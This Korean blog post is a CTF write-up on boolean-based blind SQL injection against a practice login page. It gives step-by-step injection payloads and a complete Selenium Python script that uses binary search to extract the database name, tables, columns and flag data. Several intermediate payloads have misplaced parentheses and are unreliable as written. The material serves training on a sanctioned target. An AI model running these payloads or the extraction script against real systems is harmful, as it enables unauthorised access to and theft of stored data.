본문 바로가기

old/Cyber Security

웹 해킹 예제: blind sql injection_CTF: 노말틱 DB 데이터 추출 3

반응형

목표

로그인 페이지! 우리의 계정은 mario / mariosuper 이다.

여기에 있는 DB를 털 수 있을까?

공격된 웹싸이트

노말틱님의 웹싸이트

http://ctf.segfaulthub.com:9999/sqli_3/

공격

공격순서

  • DB결과가 화면에 안나오는 곳
  • 참과 거짓 조건에 따라 응답이 다른곳이면 모두 사용 가능

sql injection이 통하는지 확인 1

%' and (1=1) and '1%'='1

sql injection이 통하는지 확인 2

%' and (1=2) and '1%'='1

sql injection select문이 통하는지 확인

%' and (select 'test'='test') and '1%'='1

공격포맷 만들기

%' and (sql) and '1%'='1

ascii문이 통하는지 확인

ascii('t')>0
%' and (ascii('t')>0) and '1%'='1

substring문이 통하는지 확인

ascii(substring('test',1,1))>0
%' and (ascii(substring('test'),1,1)>0) and '1%'='1

공격포맷 2 만들기

%' and (ascii(substring((sql),1,1))>0) and '1%'='1

db 가져오기

select database()
%' and (ascii(substring(select database()),1,1)>0) and '1%'='1

table이름 가져오기

SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1
SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1
%' and (ascii(substring(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)>0) and '1%'='1

coulumn이름 가져오기

SELECT column_name FROM information_schema.columns WHERE table_name = '테이블 이름' LIMIT 0,1
%' and (ascii(substring(SELECT column_name FROM information_schema.columns WHERE table_name = '테이블 이름' LIMIT 0,1),1,1)>0) and '1%'='1

데이터 추출

select from limit 0,1
%' and (ascii(substring(sql),1,1)>0) and '1%'='1

데이터 추출2

위 데이터 추출 코드를 사용하여, 한글자씩 추출해낼수 있으므로, 한글자씩 반복하는 파이썬 코드를 짠뒤 데이터를 추출해내었다.

from selenium.webdriver.common.by import By
import time
from selenium import webdriver
from webdriver_manager.chrome import ChromeDriverManager

def check_alert(driver, url, id_field, pwd_field):
    driver.get(url)
    driver.find_element(By.NAME, "UserId").send_keys(id_field)
    driver.find_element(By.NAME, "Password").send_keys(pwd_field)
    driver.find_element(By.NAME, "Submit").click()

    # wait for popup bootstrap change html
    time.sleep(0.01)
    # the bootstrap alert. technically, this is not alert. just another html
    # thus, driver.alert is not working.
    text = driver.execute_script("return document.getElementsByTagName('html')[0].innerHTML")

    if 'Warning' in text:
        return False
    return True

def getDBName(url, id_field, pwd_field):
    driver = webdriver.Chrome(ChromeDriverManager().install())
    driver.implicitly_wait(3)
    dbCharLen = 0
    for i in range(1, 20):
        payload = f"{id_field}' AND (length(database()))={i} and '1'='1"
        if check_alert(driver, url, payload, pwd_field):
            dbCharLen = i
            break

    print("DB_len:", dbCharLen)

    result = ""

    for i in range(1, dbCharLen + 1):
        found = False
        left = 33
        right = 126
        while left <= right:
            mid = (left + right) // 2
            payload = f"{id_field}' and (ascii(substr((database()),{i},1))={mid}) and '1'='1"
            payload_less_than = f"{id_field}' and (ascii(substr((database()),{i},1))<{mid}) and '1'='1"
            if check_alert(driver, url, payload, pwd_field):
                found = True
                result += chr(mid)
                print("found:", result)
                break
            elif check_alert(driver, url, payload_less_than, pwd_field):
                right = mid - 1
            else:
                left = mid + 1

        if not found:
            result += chr(32)
            break
    driver.quit()
    print("DB_len:", dbCharLen)
    print('DB name: [[[' + result + ']]]')

def getTables(url, id_field, pwd_field):
    driver = webdriver.Chrome(ChromeDriverManager().install())
    driver.implicitly_wait(3)
    tableNum = 0
    for i in range(1, 20):
        payload = f"{id_field}' and (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())={i} and '1'='1"
        if check_alert(driver, url, payload, pwd_field):
            tableNum = i
            break

    print("table nums:", tableNum)

    tableCharList = list()
    for n in range(0, tableNum + 1):
        for i in range(1, 20):
            payload = f"{id_field}' AND (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT {n},1)={i}#"
            if check_alert(driver, url, payload, pwd_field):
                tableCharList.append(i)
                break

    print("table name nums:", tableCharList)

    tableList=list()
    for n in range(0, tableNum):
        result = ""
        for i in range(1, tableCharList[n]+1):
            found = False
            left = 33
            right = 126
            while left <= right:
                mid = (left + right) // 2
                payload = f"{id_field}' and (ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT {n},1),{i},1))={mid}) and '1'='1"
                payload_less_than = f"{id_field}' and (ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT {n},1),{i},1))<{mid}) and '1'='1"
                if check_alert(driver, url, payload, pwd_field):
                    found = True
                    result += chr(mid)
                    print("found:", result)
                    break
                elif check_alert(driver, url, payload_less_than, pwd_field):
                    right = mid - 1
                else:
                    left = mid + 1

            if not found:
                result += chr(32)
                break
        tableList.append(result)

    driver.quit()
    print("table nums:", tableNum)
    print("table name nums:", tableCharList)
    print("table names:", tableList)

def getColumn(url, id_field, pwd_field,tableName):
    driver = webdriver.Chrome(ChromeDriverManager().install())
    driver.implicitly_wait(3)
    colNum = 0
    for i in range(1, 20):
        payload = f"{id_field}' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name = '{tableName}') = {i}#"
        if check_alert(driver, url, payload, pwd_field):
            colNum = i
            break

    print("column nums:", colNum)

    colCharList = list()
    for n in range(0, colNum + 1):
        for i in range(1, 20):
            payload = f"{id_field}' and length((select column_name from information_schema.columns where table_name='{tableName}' limit {n},1))={i}#"
            if check_alert(driver, url, payload, pwd_field):
                colCharList.append(i)
                break

    print("column name nums:", colCharList)

    colList=list()
    for n in range(0, colNum):
        result = ""
        for i in range(1, colCharList[n]+1):
            found = False
            left = 33
            right = 126
            while left <= right:
                mid = (left + right) // 2
                payload = f"{id_field}' and (ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_name = '{tableName}' LIMIT {n},1),{i},1))={mid}) and '1'='1"
                payload_less_than = f"{id_field}' and (ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_name = '{tableName}' LIMIT {n},1),{i},1))<{mid}) and '1'='1"
                if check_alert(driver, url, payload, pwd_field):
                    found = True
                    result += chr(mid)
                    print("found:", result)
                    break
                elif check_alert(driver, url, payload_less_than, pwd_field):
                    right = mid - 1
                else:
                    left = mid + 1

            if not found:
                result += chr(32)
                break
        colList.append(result)

    driver.quit()
    print("column nums:", colNum)
    print("column name nums:", colCharList)
    print("column names:", colList)

def getColumnData(url, id_field, pwd_field,tableName,colName):
    driver = webdriver.Chrome(ChromeDriverManager().install())
    driver.implicitly_wait(3)
    rowNum = 0
    for i in range(1, 20):
        payload = f"{id_field}' and ((select count({colName}) from {tableName})={i}) and '1'='1"
        if check_alert(driver, url, payload, pwd_field):
            rowNum = i
            break

    print("row nums:", rowNum)

    rowCharList = list()
    for n in range(0, rowNum + 1):
        for i in range(1, 30):
            payload = f"{id_field}' and length((select {colName} from {tableName} limit {n},1))={i}#"
            if check_alert(driver, url, payload, pwd_field):
                rowCharList.append(i)
                break

    print("row name nums:", rowCharList)

    rowList=list()
    for n in range(0, rowNum):
        result = ""
        for i in range(1, rowCharList[n]+1):
            found = False
            left = 33
            right = 126
            while left <= right:
                mid = (left + right) // 2
                payload = f"{id_field}' and (ascii(substr((select {colName} from {tableName} limit {n},1),{i},1))={mid}) and '1'='1"
                payload_less_than = f"{id_field}' and (ascii(substr((select {colName} from {tableName} limit {n},1),{i},1))<{mid}) and '1'='1"

                if check_alert(driver, url, payload, pwd_field):
                    found = True
                    result += chr(mid)
                    print("found:", result)
                    break
                elif check_alert(driver, url, payload_less_than, pwd_field):
                    right = mid - 1
                else:
                    left = mid + 1

            if not found:
                result += chr(32)
                break
        rowList.append(result)

    driver.quit()
    print("row nums:", rowNum)
    print("row name nums:", rowCharList)
    print("row names:", rowList)

url = "<http://ctf.segfaulthub.com:9999/sqli_3/login.php>"
id = "mario"
pwd = "mariosuper"
tableName="flag_table"
colName='flag'

getDBName(url, id, pwd)
getTables(url, id, pwd)
getColumn(url, id, pwd, tableName)
getColumnData(url, id, pwd, tableName,colName)
반응형